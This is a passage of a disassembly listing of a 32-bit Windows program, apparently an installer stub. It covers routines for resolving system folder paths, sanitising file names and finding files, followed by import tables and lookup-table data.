		jge	short loc_4068F3
		mov	ecx, dword_42E7FC
		lea	eax, ds:4[eax*4]
		sub	ecx, eax
		mov	eax, [ecx]

loc_4068F3:				; CODE XREF: sub_4068D5+Bj
		mov	ecx, dword_42F058
		push	ebx
		push	esi
		push	edi
		lea	ebx, [eax+ecx]
		mov	ecx, [ebp+arg_0]
		mov	eax, offset aCall_0 ; "Call"
		sub	ecx, eax
		mov	edi, eax
		cmp	ecx, 800h
		jnb	loc_406AE0
		mov	edi, [ebp+arg_0]
		and	[ebp+arg_0], 0
		jmp	loc_406AE0
; ---------------------------------------------------------------------------

loc_406923:				; CODE XREF: sub_4068D5+20Fj
		mov	ecx, edi
		sub	ecx, eax
		cmp	ecx, 400h
		jge	loc_406AEA
		inc	ebx
		cmp	dl, 0FCh
		mov	[ebp+arg_4], ebx
		jbe	loc_406ACE
		movsx	eax, byte ptr [ebx+1]
		movsx	ecx, byte ptr [ebx]
		mov	esi, eax
		mov	ebx, ecx
		and	esi, 7Fh
		and	ebx, 7Fh
		shl	esi, 7
		or	esi, ebx
		mov	ebx, 8000h
		mov	[ebp+var_10], eax
		or	eax, ebx
		mov	[ebp+var_18], ecx
		push	2
		or	ecx, ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_C], eax
		pop	eax
		add	ebx, eax
		cmp	dl, 0FEh
		mov	[ebp+var_14], ecx
		jnz	loc_406A7A
		and	[ebp+var_4], 0
		and	[ebp+arg_4], 0
		and	byte ptr [edi],	0
		cmp	[ebp+var_10], 4
		jnz	short loc_406997
		mov	[ebp+var_4], offset aMicrosoftInter ; "\\Microsoft\\Internet Explorer\\Quick Laun"...
		mov	[ebp+arg_4], eax

loc_406997:				; CODE XREF: sub_4068D5+B6j
		mov	esi, [ebp+var_18]
		cmp	esi, 2Bh
		jnz	short loc_4069B4
		push	edi
		push	offset aCommonfilesdir ; "CommonFilesDir"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_4067BD

loc_4069B4:				; CODE XREF: sub_4068D5+C8j
		cmp	esi, 26h
		jnz	short loc_4069E2
		push	edi
		push	offset aProgramfilesdi ; "ProgramFilesDir"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_4067BD
		cmp	byte ptr [edi],	0
		jnz	loc_406A5D
		push	offset aCProgramFiles ;	"C:\\Program Files"
		push	edi
		call	sub_4068C9	; lstrcpy

loc_4069E2:				; CODE XREF: sub_4068D5+E2j
		cmp	esi, 25h
		jnz	short loc_4069F3
		push	400h
		push	edi
		call	ds:dword_407108	; GetSystemDirectoryA

loc_4069F3:				; CODE XREF: sub_4068D5+110j
		cmp	esi, 24h
		jnz	short loc_406A04
		push	400h
		push	edi
		call	ds:dword_4070C0	; GetWindowsDirectoryA

loc_406A04:				; CODE XREF: sub_4068D5+121j
		cmp	byte ptr [edi],	0
		jnz	short loc_406A5D
		cmp	dword_42F0A4, 0
		mov	[ebp+arg_4], 4
		jnz	short loc_406A22
		mov	[ebp+arg_4], 2
		jmp	short loc_406A5D
; ---------------------------------------------------------------------------

loc_406A22:				; CODE XREF: sub_4068D5+142j
					; sub_4068D5+18Cj
		dec	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	[ebp+eax*4+var_18]
		push	dword_42F024
		call	ds:dword_40716C
		test	eax, eax
		jnz	short loc_406A5A
		push	edi
		push	[ebp+var_8]
		call	ds:dword_407164
		push	[ebp+var_8]
		mov	esi, eax
		call	sub_40615F
		test	esi, esi
		jnz	short loc_406A63
		jmp	short loc_406A5D
; ---------------------------------------------------------------------------

loc_406A5A:				; CODE XREF: sub_4068D5+169j
		and	byte ptr [edi],	0

loc_406A5D:				; CODE XREF: sub_4068D5+FCj
					; sub_4068D5+132j ...
		cmp	[ebp+arg_4], 0
		jnz	short loc_406A22

loc_406A63:				; CODE XREF: sub_4068D5+181j
		cmp	byte ptr [edi],	0
		jz	short loc_406AAB
		cmp	[ebp+var_4], 0
		jz	short loc_406AAB
		push	[ebp+var_4]
		push	edi
		call	ds:dword_40708C	; lstrcat
		jmp	short loc_406AAB
; ---------------------------------------------------------------------------

loc_406A7A:				; CODE XREF: sub_4068D5+A1j
		cmp	dl, 0FDh
		jnz	short loc_406ABB
		cmp	esi, 1Bh
		jnz	short loc_406A92
		push	dword_42F024
		push	edi
		call	sub_406827
		jmp	short loc_406AA3
; ---------------------------------------------------------------------------

loc_406A92:				; CODE XREF: sub_4068D5+1ADj
		mov	eax, esi
		shl	eax, 0Ah
		add	eax, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		push	eax
		push	edi
		call	sub_4068C9	; lstrcpy

loc_406AA3:				; CODE XREF: sub_4068D5+1BBj
		add	esi, 0FFFFFFEBh
		cmp	esi, 6
		jnb	short loc_406AB1

loc_406AAB:				; CODE XREF: sub_4068D5+191j
					; sub_4068D5+197j ...
		push	edi
		call	sub_406B09

loc_406AB1:				; CODE XREF: sub_4068D5+1D4j
					; sub_4068D5+1F7j
		push	edi
		call	sub_4068CF	; lstrlen
		add	edi, eax
		jmp	short loc_406ADB
; ---------------------------------------------------------------------------

loc_406ABB:				; CODE XREF: sub_4068D5+1A8j
		cmp	dl, 0FFh
		jnz	short loc_406ADB
		or	eax, 0FFFFFFFFh
		sub	eax, esi
		push	eax
		push	edi
		call	sub_4068D5
		jmp	short loc_406AB1
; ---------------------------------------------------------------------------

loc_406ACE:				; CODE XREF: sub_4068D5+65j
		jnz	short loc_406AD8
		mov	al, [ebx]
		mov	[edi], al
		inc	edi
		inc	ebx
		jmp	short loc_406ADB
; ---------------------------------------------------------------------------

loc_406AD8:				; CODE XREF: sub_4068D5:loc_406ACEj
		mov	[edi], dl
		inc	edi

loc_406ADB:				; CODE XREF: sub_4068D5+1E4j
					; sub_4068D5+1E9j ...
		mov	eax, offset aCall_0 ; "Call"

loc_406AE0:				; CODE XREF: sub_4068D5+3Cj
					; sub_4068D5+49j
		mov	dl, [ebx]
		test	dl, dl
		jnz	loc_406923

loc_406AEA:				; CODE XREF: sub_4068D5+58j
		and	byte ptr [edi],	0
		cmp	[ebp+arg_0], 0
		pop	edi
		pop	esi
		pop	ebx
		jz	short locret_406B05
		push	400h
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4070B8	; lstrcpyn

locret_406B05:				; CODE XREF: sub_4068D5+21Fj
		leave
		retn	8
sub_4068D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B09	proc near		; CODE XREF: sub_4020E9+3ADp
					; sub_4020E9+1317p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, ds:dword_40717C
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		jmp	short loc_406B1E
; ---------------------------------------------------------------------------

loc_406B19:				; CODE XREF: sub_406B09+18j
		push	esi
		call	ebp	; CharNextA
		mov	esi, eax

loc_406B1E:				; CODE XREF: sub_406B09+Ej
		cmp	byte ptr [esi],	20h
		jz	short loc_406B19
		cmp	byte ptr [esi],	5Ch
		jnz	short loc_406B3D
		cmp	byte ptr [esi+1], 5Ch
		jnz	short loc_406B3D
		cmp	byte ptr [esi+2], 3Fh
		jnz	short loc_406B3D
		cmp	byte ptr [esi+3], 5Ch
		jnz	short loc_406B3D
		add	esi, 4

loc_406B3D:				; CODE XREF: sub_406B09+1Dj
					; sub_406B09+23j ...
		cmp	byte ptr [esi],	0
		jz	short loc_406B4E
		push	esi
		call	sub_40643C
		test	eax, eax
		jz	short loc_406B4E
		inc	esi
		inc	esi

loc_406B4E:				; CODE XREF: sub_406B09+37j
					; sub_406B09+41j
		mov	ebx, esi
		mov	edi, esi
		jmp	short loc_406B7F
; ---------------------------------------------------------------------------

loc_406B54:				; CODE XREF: sub_406B09+7Aj
		cmp	al, 1Fh
		jbe	short loc_406B7A
		push	eax
		push	offset a?	; "*?|<>/\":"
		call	sub_4063FB
		cmp	byte ptr [eax],	0
		jnz	short loc_406B7A
		push	esi
		call	ebp	; CharNextA
		sub	eax, esi
		push	eax
		push	esi
		push	edi
		call	sub_40656F
		push	edi
		call	ebp	; CharNextA
		mov	edi, eax

loc_406B7A:				; CODE XREF: sub_406B09+4Dj
					; sub_406B09+5Dj
		push	esi
		call	ebp	; CharNextA
		mov	esi, eax

loc_406B7F:				; CODE XREF: sub_406B09+49j
		mov	al, [esi]
		test	al, al
		jnz	short loc_406B54
		and	[edi], al

loc_406B87:				; CODE XREF: sub_406B09+97j
		push	edi
		push	ebx
		call	ds:dword_4071FC	; CharPrevA
		mov	edi, eax
		mov	al, [edi]
		cmp	al, 20h
		jz	short loc_406B9B
		cmp	al, 5Ch
		jnz	short loc_406BA2

loc_406B9B:				; CODE XREF: sub_406B09+8Cj
		and	byte ptr [edi],	0
		cmp	ebx, edi
		jb	short loc_406B87

loc_406BA2:				; CODE XREF: sub_406B09+90j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	4
sub_406B09	endp


; =============== S U B	R O U T	I N E =======================================



sub_406BAB	proc near		; CODE XREF: sub_4020E9+1C9p
					; sub_4020E9+221p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ds:dword_40712C
		push	edi
		push	8001h
		call	esi	; SetErrorMode
		mov	edi, offset dword_42D268
		push	edi
		push	[esp+10h+arg_0]
		call	ds:dword_407114	; FindFirstFileA
		push	0
		mov	ebx, eax
		call	esi	; SetErrorMode
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_406BE1
		push	ebx
		call	ds:dword_40711C	; FindClose
		mov	eax, edi
		jmp	short loc_406BE3
; ---------------------------------------------------------------------------

loc_406BE1:				; CODE XREF: sub_406BAB+29j
		xor	eax, eax

loc_406BE3:				; CODE XREF: sub_406BAB+34j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_406BAB	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406BEA	proc near		; CODE XREF: sub_4020E9+B9Bp
		jmp	ds:dword_407274
sub_406BEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406BF0	proc near		; CODE XREF: sub_4020E9+B82p
		jmp	ds:dword_407270
sub_406BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406BF6	proc near		; CODE XREF: sub_4020E9+B4Ep
		jmp	ds:dword_40726C
sub_406BF6	endp

_text		ends

; Section 2. (virtual address 00007000)
; Virtual size			: 000011C0 (   4544.)
; Section size in file		: 000011C0 (   4544.)
; Offset to raw	data for section: 00007000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 407000h
dword_407000	dd 77DD7F3Eh		; DATA XREF: sub_4020E9+10BFr
dword_407004	dd 77DD23D7h		; DATA XREF: sub_4020E9+103Cr
					; sub_4067BD+3Dr
dword_407008	dd 77DD59F0h		; DATA XREF: sub_4020E9+FF7r
dword_40700C	dd 77DD590Bh		; DATA XREF: sub_4020E9+F9Er
dword_407010	dd 77DD22EAh		; DATA XREF: sub_403793+1Br
					; sub_40381A+1Cr ...
dword_407014	dd 77DD839Fh		; DATA XREF: sub_403793+6Cr
dword_407018	dd 77DD5C55h		; DATA XREF: sub_4020E9+F37r
dword_40701C	dd 77DD189Ah		; DATA XREF: sub_4020E9+F40r
					; sub_4020E9:loc_4031B5r ...
dword_407020	dd 77DD81E3h		; DATA XREF: sub_4020E9+10ACr
					; sub_403793+25r
		align 8
dword_407028	dd 77345219h		; DATA XREF: start+1Ar
dword_40702C	dd 77346144h		; DATA XREF: sub_40526B+BAr
dword_407030	dd 77345719h		; DATA XREF: sub_40526B+624r
dword_407034	dd 77345CA4h		; DATA XREF: sub_40526B+A6r
		dd 0
dword_40703C	dd 77C7531Dh		; DATA XREF: sub_4020E9+962r
dword_407040	dd 77C72889h		; DATA XREF: sub_401E32+68r
					; sub_4020E9+949r ...
dword_407044	dd 77C7E6D9h		; DATA XREF: sub_401E32+CFr
					; sub_404A36+98r
dword_407048	dd 77C7D47Ch		; DATA XREF: sub_401E32+105r
					; sub_4020E9+9C3r
dword_40704C	dd 77C71EFFh		; DATA XREF: sub_401E32+126r
					; sub_404A36+51r
dword_407050	dd 77C71D83h		; DATA XREF: sub_401E32+130r
					; sub_404A36+45r
dword_407054	dd 77C71E2Eh		; DATA XREF: sub_404A36+74r
dword_407058	dd 77C71BB0h		; DATA XREF: sub_401E32+139r
		align 10h
dword_407060	dd 77E668D9h		; DATA XREF: sub_4020E9:loc_402738r
dword_407064	dd 77E7AC5Eh		; DATA XREF: sub_4020E9+63Er
dword_407068	dd 77E76A2Eh		; DATA XREF: sub_4020E9+617r
					; start+24Dr ...
dword_40706C	dd 77E77963h		; DATA XREF: sub_4020E9+4EEr
					; sub_4020E9:loc_402BE7r ...
dword_407070	dd 77E7011Ah		; DATA XREF: sub_4020E9+4E5r
dword_407074	dd 77E74CABh		; DATA XREF: sub_4020E9+3F4r
					; sub_4041E1+92r ...
dword_407078	dd 77E71702h		; DATA XREF: sub_4020E9+3D1r
dword_40707C	dd 77E6CBF9h		; DATA XREF: sub_4020E9+338r
dword_407080	dd 77E6C10Bh		; DATA XREF: sub_4020E9+319r
					; sub_406606:loc_40663Er
dword_407084	dd 77E80357h		; DATA XREF: sub_4020E9+2D4r
dword_407088	dd 77E71AFEh		; DATA XREF: sub_4020E9+283r
dword_40708C	dd 77E74155h		; DATA XREF: sub_4020E9+269r
					; sub_4020E9+3A6r ...
dword_407090	dd 77E705C5h		; DATA XREF: sub_4020E9+208r
dword_407094	dd 77E6808Fh		; DATA XREF: sub_4020E9+1D4r
					; sub_403DE8+21r
dword_407098	dd 77E70396h		; DATA XREF: sub_4020E9+18Br
					; sub_4020E9+3FEr ...
dword_40709C	dd 77E61BE6h		; DATA XREF: sub_4020E9+F5r
dword_4070A0	dd 77E793EFh		; DATA XREF: sub_4038D5+69r
					; sub_406606+EDr
dword_4070A4	dd 77E7A099h		; DATA XREF: sub_4038D5+33r start+23Br
dword_4070A8	dd 77E7751Ah		; DATA XREF: sub_4038D5+Er
					; sub_4038D5+140r ...
dword_4070AC	dd 77E79C90h		; DATA XREF: start+338r
dword_4070B0	dd 77E6BD13h		; DATA XREF: start+25Fr
dword_4070B4	dd 77E75CB5h		; DATA XREF: start+1EAr start+39Ar
dword_4070B8	dd 77E73BEFh		; DATA XREF: start+92r	sub_404AE3+15r	...
dword_4070BC	dd 77E73803h		; DATA XREF: sub_4020E9:loc_402898r
					; sub_4020E9+139Br ...
dword_4070C0	dd 77E705B0h		; DATA XREF: start+62r	sub_406606+B6r	...
dword_4070C4	dd 77E6AD34h		; DATA XREF: start+47r
dword_4070C8	dd 77E72D97h		; DATA XREF: sub_404440:loc_40445Fr
dword_4070CC	dd 77E6869Bh		; DATA XREF: sub_404E2A+206r
dword_4070D0	dd 77E71B14h		; DATA XREF: sub_405DE5+35Cr
dword_4070D4	dd 77E7166Fh		; DATA XREF: sub_405DE5+323r
dword_4070D8	dd 77E736A3h		; DATA XREF: sub_405DE5+319r
					; sub_406244+6r
dword_4070DC	dd 77E7AC37h		; DATA XREF: sub_405DE5+1C5r
dword_4070E0	dd 77E61BB8h		; DATA XREF: sub_40618A+3Cr
dword_4070E4	dd 77E704DCh		; DATA XREF: sub_406253+144r
dword_4070E8	dd 77E7A837h		; DATA XREF: sub_40658F+26r
					; sub_406606+DAr
dword_4070EC	dd 77E6AF8Fh		; DATA XREF: sub_4065BE+2Dr
dword_4070F0	dd 77E70192h		; DATA XREF: sub_406606+170r
dword_4070F4	dd 77E75090h		; DATA XREF: sub_406606+153r
dword_4070F8	dd 77E74D76h		; DATA XREF: sub_406606+114r
dword_4070FC	dd 77E77797h		; DATA XREF: sub_406606+100r
dword_407100	dd 77E73167h		; DATA XREF: sub_4068C9r
dword_407104	dd 77E74672h		; DATA XREF: sub_4068CFr
dword_407108	dd 77E704FCh		; DATA XREF: sub_4068D5+118r
dword_40710C	dd 77E72CF4h		; DATA XREF: sub_40201D+78r
					; sub_4020E9+971r ...
dword_407110	dd 77E73628h		; DATA XREF: sub_4020E9+13E3r
					; start+83r ...
dword_407114	dd 77E75D9Eh		; DATA XREF: sub_4020E9+12AAr
					; sub_406253+75r ...
dword_407118	dd 77E75E67h		; DATA XREF: sub_4020E9+127Br
					; sub_406253+112r
dword_40711C	dd 77E78EAAh		; DATA XREF: sub_4020E9+125Ar
					; sub_406253+121r ...
dword_407120	dd 77E78C81h		; DATA XREF: sub_4020E9+1205r
					; sub_4020E9+1235r ...
dword_407124	dd 77E79D5Bh		; DATA XREF: sub_4020E9+A90r
					; sub_4020E9+AC5r
dword_407128	dd 77E7FF65h		; DATA XREF: sub_4020E9+AD9r
dword_40712C	dd 77E78C17h		; DATA XREF: sub_4020E9+BD2r
					; sub_4020E9+C86r ...
dword_407130	dd 77E78B82h		; DATA XREF: sub_4020E9+11A1r
					; sub_403D9F+17r
dword_407134	dd 77E79F93h		; DATA XREF: sub_4020E9+BFCr start+9Ar ...
dword_407138	dd 77E805D8h		; DATA XREF: sub_4020E9+C09r
					; sub_4041E1+1AFr
dword_40713C	dd 77E7A5FDh		; DATA XREF: sub_4020E9+C19r
					; start+301r ...
dword_407140	dd 77E80618h		; DATA XREF: sub_4020E9+C72r
dword_407144	dd 77E77CCEh		; DATA XREF: sub_4020E9+DA0r
dword_407148	dd 77E7070Eh		; DATA XREF: sub_4020E9+ECDr
dword_40714C	dd 77E72C64h		; DATA XREF: sub_4020E9+F08r
dword_407150	dd 77E79D8Ch		; DATA XREF: sub_4020E9+114Ar
					; sub_4020E9+13ADr ...
dword_407154	dd 77E7C938h		; DATA XREF: start+8Ar
		dd 0
dword_40715C	dd 77428B97h		; DATA XREF: sub_4020E9+A4Er
					; sub_404B17+214r
dword_407160	dd 774E3824h		; DATA XREF: sub_404E2A+108r
dword_407164	dd 77423EAEh		; DATA XREF: sub_405110+38r
					; sub_4068D5+16Fr
dword_407168	dd 77423391h		; DATA XREF: sub_40615F+8r
dword_40716C	dd 773F6FB6h		; DATA XREF: sub_4068D5+161r
dword_407170	dd 7746135Fh		; DATA XREF: sub_4020E9+E4Ar
		align 8
dword_407178	dd 77D902E3h		; DATA XREF: start+377r
dword_40717C	dd 77D472ECh		; DATA XREF: start+C3r	sub_4063FB+Dr ...
dword_407180	dd 77D650B3h		; DATA XREF: sub_4041E1+219r
dword_407184	dd 77D5D8BAh		; DATA XREF: sub_4041E1:loc_4043AEr
dword_407188	dd 77D414D4h		; DATA XREF: sub_4041E1+173r
dword_40718C	dd 77D4BBDBh		; DATA XREF: sub_4041E1+13Ar
dword_407190	dd 77D4DC11h		; DATA XREF: sub_4041E1+122r
					; sub_4041E1+1FAr
dword_407194	dd 77D4F5CBh		; DATA XREF: sub_4044FB+476r
dword_407198	dd 77D481CDh		; DATA XREF: sub_4044FB+418r
					; sub_40521F+22r
dword_40719C	dd 77D45F74h		; DATA XREF: sub_4044FB+40Cr
					; sub_405DE5+2A6r
dword_4071A0	dd 77D5D417h		; DATA XREF: sub_4044FB+1CFr
dword_4071A4	dd 77D47C8Bh		; DATA XREF: sub_4044FB+B6r
					; sub_4044FB+103r
dword_4071A8	dd 77D49525h		; DATA XREF: sub_4044FB+3Cr
					; sub_4044FB+433r
dword_4071AC	dd 77D4432Ah		; DATA XREF: sub_404A36+30r
					; sub_404B17+CEr
dword_4071B0	dd 77D43FEDh		; DATA XREF: sub_404A36+1Dr
					; sub_40526B+281r
dword_4071B4	dd 77D47EE5h		; DATA XREF: sub_404B17+1C3r
dword_4071B8	dd 77D4630Dh		; DATA XREF: sub_404B17+1BDr
dword_4071BC	dd 77D4FF4Ah		; DATA XREF: sub_404B17+8Br
dword_4071C0	dd 77D4822Bh		; DATA XREF: sub_40521F+6r
dword_4071C4	dd 77D5BC81h		; DATA XREF: sub_40526B+7Er
dword_4071C8	dd 77D5BA26h		; DATA XREF: sub_405BC5+DBr
dword_4071CC	dd 77D4747Ch		; DATA XREF: sub_405BC5+4Cr
dword_4071D0	dd 77D5E303h		; DATA XREF: sub_405DE5+36Dr
dword_4071D4	dd 77D6BB4Ch		; DATA XREF: sub_405DE5+367r
dword_4071D8	dd 77D6BB30h		; DATA XREF: sub_405DE5+310r
dword_4071DC	dd 77D5E310h		; DATA XREF: sub_405DE5+30Ar
dword_4071E0	dd 77D7BF7Ah		; DATA XREF: sub_405DE5+2C8r
dword_4071E4	dd 77D5DD3Ah		; DATA XREF: sub_405DE5+293r
dword_4071E8	dd 77D49B9Ch		; DATA XREF: sub_405DE5+27Er
dword_4071EC	dd 77D477C0h		; DATA XREF: sub_405DE5+B3r
dword_4071F0	dd 77D6272Dh		; DATA XREF: sub_4061E0r
dword_4071F4	dd 77D6274Fh		; DATA XREF: sub_4061E6+13r
dword_4071F8	dd 77D6ADD7h		; DATA XREF: sub_406202+39r
dword_4071FC	dd 77D47322h		; DATA XREF: sub_4063CF+Fr
					; sub_406417+14r ...
dword_407200	dd 77D5E69Dh		; DATA XREF: sub_4038D5+15Er
					; sub_4044FB+3DCr
dword_407204	dd 77D49A11h		; DATA XREF: sub_4038D5+1BCr
					; sub_4038D5+1CDr ...
dword_407208	dd 77D444F0h		; DATA XREF: sub_403849+20r
dword_40720C	dd 77D5BB6Ch		; DATA XREF: sub_403849+69r
					; sub_404440+B0r ...
dword_407210	dd 77D4B816h		; DATA XREF: sub_4020E9+80r
dword_407214	dd 77D47F34h		; DATA XREF: sub_4020E9+103r
dword_407218	dd 77D47D27h		; DATA XREF: sub_4020E9+158r
					; sub_4020E9+9E4r ...
dword_40721C	dd 77D4C96Ah		; DATA XREF: sub_4020E9+732r
					; sub_4020E9+A20r ...
dword_407220	dd 77D5C3E2h		; DATA XREF: sub_4020E9+846r
dword_407224	dd 77D651AFh		; DATA XREF: sub_4020E9+88Cr
dword_407228	dd 77D45B19h		; DATA XREF: sub_4020E9+8ADr
dword_40722C	dd 77D48AA8h		; DATA XREF: sub_4020E9+8D3r
					; sub_4020E9+8FEr ...
dword_407230	dd 77D49951h		; DATA XREF: sub_4020E9+8EFr
					; sub_4044FB+8Br ...
dword_407234	dd 77D4D42Bh		; DATA XREF: sub_4020E9+92Cr
					; sub_4041E1+DBr
dword_407238	dd 77D45F40h		; DATA XREF: sub_4020E9+95Br
dword_40723C	dd 77D4816Dh		; DATA XREF: sub_4020E9:loc_402AD8r
					; sub_4044FB+2E2r ...
dword_407240	dd 77D441F2h		; DATA XREF: sub_4020E9+AA9r
					; sub_4038D5+196r
dword_407244	dd 77D4590Ch		; DATA XREF: sub_4020E9+14F9r
dword_407248	dd 77D4702Fh		; DATA XREF: sub_40201D+88r
					; sub_4020E9+85Er ...
dword_40724C	dd 77D46F5Bh		; DATA XREF: sub_401E32+2Cr
dword_407250	dd 77D458EEh		; DATA XREF: sub_401E32+47r
dword_407254	dd 77D45F23h		; DATA XREF: sub_401E32+5Br
					; sub_4020E9+90Br ...
dword_407258	dd 77D463A6h		; DATA XREF: sub_401E32+E4r
dword_40725C	dd 77D5C7A1h		; DATA XREF: sub_401E32+156r
dword_407260	dd 77D458FDh		; DATA XREF: sub_401E32+16Er
dword_407264	dd 77D46E60h		; DATA XREF: sub_4020E9+A9Dr
					; sub_4038D5+1A7r
		dd 0
dword_40726C	dd 77C015E3h		; DATA XREF: sub_406BF6r
dword_407270	dd 77C0162Dh		; DATA XREF: sub_406BF0r
dword_407274	dd 77C0167Dh		; DATA XREF: sub_406BEAr
		dd 0
dword_40727C	dd 771C8E66h		; DATA XREF: start+21r	sub_405D83+10r
dword_407280	dd 771F5164h		; DATA XREF: start+1C9r sub_405D83+52r
dword_407284	dd 771C1E56h		; DATA XREF: sub_4020E9+CE4r
		dd 0
byte_40728C	db 10h			; DATA XREF: sub_401000+3C0r
					; sub_401000+3E7r
		db 11h,	12h, 0
		dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh
dword_4072A0	dd 40003h, 60005h, 80007h, 0A0009h, 0D000Bh, 11000Fh, 170013h
					; DATA XREF: sub_401000+162o
					; sub_401000+5C5o
		dd 1F001Bh, 2B0023h, 3B0033h, 530043h, 730063h,	0A30083h
		dd 0E300C3h, 102h, 0
dword_4072E0	dd 4 dup(0)		; DATA XREF: sub_401000+15Do
					; sub_401000+5C0o
		dd 2 dup(10001h), 2 dup(20002h), 2 dup(30003h),	2 dup(40004h)
		dd 2 dup(50005h), 700000h, 70h
dword_407320	dd 20001h, 40003h, 70005h, 0D0009h, 190011h, 310021h, 610041h
					; DATA XREF: sub_401000+197o
					; sub_401000+605o
		dd 0C10081h, 1810101h, 3010201h, 6010401h, 0C010801h, 18011001h
		dd 30012001h, 60014001h
dword_40735C	dd 2 dup(0)		; DATA XREF: sub_401000+192o
					; sub_401000+600o
		dd 10001h, 20002h, 30003h, 40004h, 50005h, 60006h, 70007h
		dd 80008h, 90009h, 0A000Ah, 0B000Bh, 0C000Ch, 0D000Dh
dword_407398	dd 214EEh, 0		; DATA XREF: sub_4020E9+CD7o
		dd 0C0h, 46000000h
dword_4073A8	dd 21401h, 0		; DATA XREF: sub_4020E9+CDFo
		dd 0C0h, 46000000h
dword_4073B8	dd 10Bh, 0		; DATA XREF: sub_4020E9+CF9o
		dd 0C0h, 46000000h, 74A4h, 2 dup(0)
		dd 7746h, 7028h, 74DCh,	2 dup(0)
		dd 7B8Eh, 7060h, 75F4h,	2 dup(0)
		dd 7F68h, 7178h, 74B8h,	2 dup(0)
		dd 7FFAh, 703Ch, 747Ch,	2 dup(0)
		dd 809Ah, 7000h, 75D8h,	2 dup(0)
		dd 8126h, 715Ch, 76F8h,	2 dup(0)
		dd 8168h, 727Ch, 76E8h,	2 dup(0)
		dd 81B4h, 726Ch, 5 dup(0)
		dd 8004h, 8022h, 8036h,	8048h, 808Ah, 807Ah, 8068h, 805Ah
		dd 8014h, 0
		dd 80000011h, 771Ch, 7708h, 7732h, 0
		dd 7FDCh, 7FCCh, 7FB6h,	7FA0h, 7F94h, 7F84h, 7FECh, 7F74h
		dd 0
		dd 78A2h, 78BEh, 78D8h,	78E4h, 78F2h, 7900h, 7916h, 7928h
		dd 7936h, 794Ah, 795Eh,	796Ah, 7976h, 798Eh, 79A2h, 79B8h
		dd 79C0h, 79CEh, 79E4h,	79F4h, 7A08h, 7A14h, 7A22h, 7894h
		dd 7A40h, 7A58h, 7A68h,	7A80h, 7A94h, 7AA4h, 7AB2h, 7AC0h
		dd 7AD0h, 7AE2h, 7AF6h,	7B04h, 7B18h, 7B28h, 7B3Ah, 7B4Ah
		dd 7B60h, 7B6Ch, 7B78h,	7754h, 775Eh, 776Ch, 777Eh, 778Eh
		dd 779Ah, 787Eh, 7868h,	7858h, 77ACh, 7844h, 7834h, 7822h
		dd 7814h, 77FEh, 77E0h,	77C4h, 77B8h, 7A2Eh, 0
		dd 80BCh, 80CCh, 80E2h,	80FAh, 8108h, 80A8h, 0
		dd 7D34h, 7D44h, 7D50h,	7D62h, 7D72h, 7D84h, 7D9Ch, 7DAEh
		dd 7DBAh, 7DCCh, 7DDCh,	7DECh, 7DFEh, 7E0Eh, 7E1Ch, 7E2Eh
		dd 7E3Ch, 7E48h, 7E5Ah,	7E6Ah, 7E78h, 7E8Ah, 7E9Ch, 7EAEh
		dd 7EC2h, 7ED4h, 7EE4h,	7EF6h, 7F04h, 7F16h, 7F2Ah, 7F3Ch
		dd 7F4Eh, 7F5Ch, 7D1Eh,	7D0Eh, 7D02h, 7CF0h, 7CDEh, 7CC8h
		dd 7CBAh, 7CAEh, 7C98h,	7C88h, 7C7Ch, 7C6Eh, 7C5Ch, 7C4Eh
		dd 7C46h, 7C36h, 7C12h,	7C00h, 7BF0h, 7BDEh, 7BD0h, 7BC0h
		dd 7BB4h, 7BA8h, 7B9Ch,	7C26h, 0
		dd 819Ah, 8184h, 8172h,	0
		dd 8158h, 8146h, 8132h,	0
		db  38h	; 8
		align 2
aImagelist_dest	db 'ImageList_Destroy',0
a4		db '4',0
aImagelist_addm	db 'ImageList_AddMasked',0
a7		db '7',0
aImagelist_crea	db 'ImageList_Create',0
		align 2
aComctl32_dll	db 'COMCTL32.dll',0
		align 4
		db  6Ah	; j
		db 2, 4Dh, 75h
aLdiv		db 'lDiv',0
		align 2
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		db 'É',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		db 'Ó',0
aFindnextfilea	db 'FindNextFileA',0
		db 'Å',0
aFindclose	db 'FindClose',0
		dw 310h
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db 0ABh	; «
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 4
		db  97h	; —
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db  94h	; ”
		db 1, 47h, 65h
aTprivateprofil	db 'tPrivateProfileStringA',0
		align 10h
		db  9Ch	; œ
		db 3, 57h, 72h
aIteprivateprof	db 'itePrivateProfileStringA',0
		align 2
		dw 26Bh
aMultibytetowid	db 'MultiByteToWideChar',0
aQ		db 'ï',0
aFreelibrary	db 'FreeLibrary',0
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db  0Ah
		db 3, 53h, 65h
aTerrormode	db 'tErrorMode',0
		align 4
		db  52h	; R
		db 1, 47h, 65h
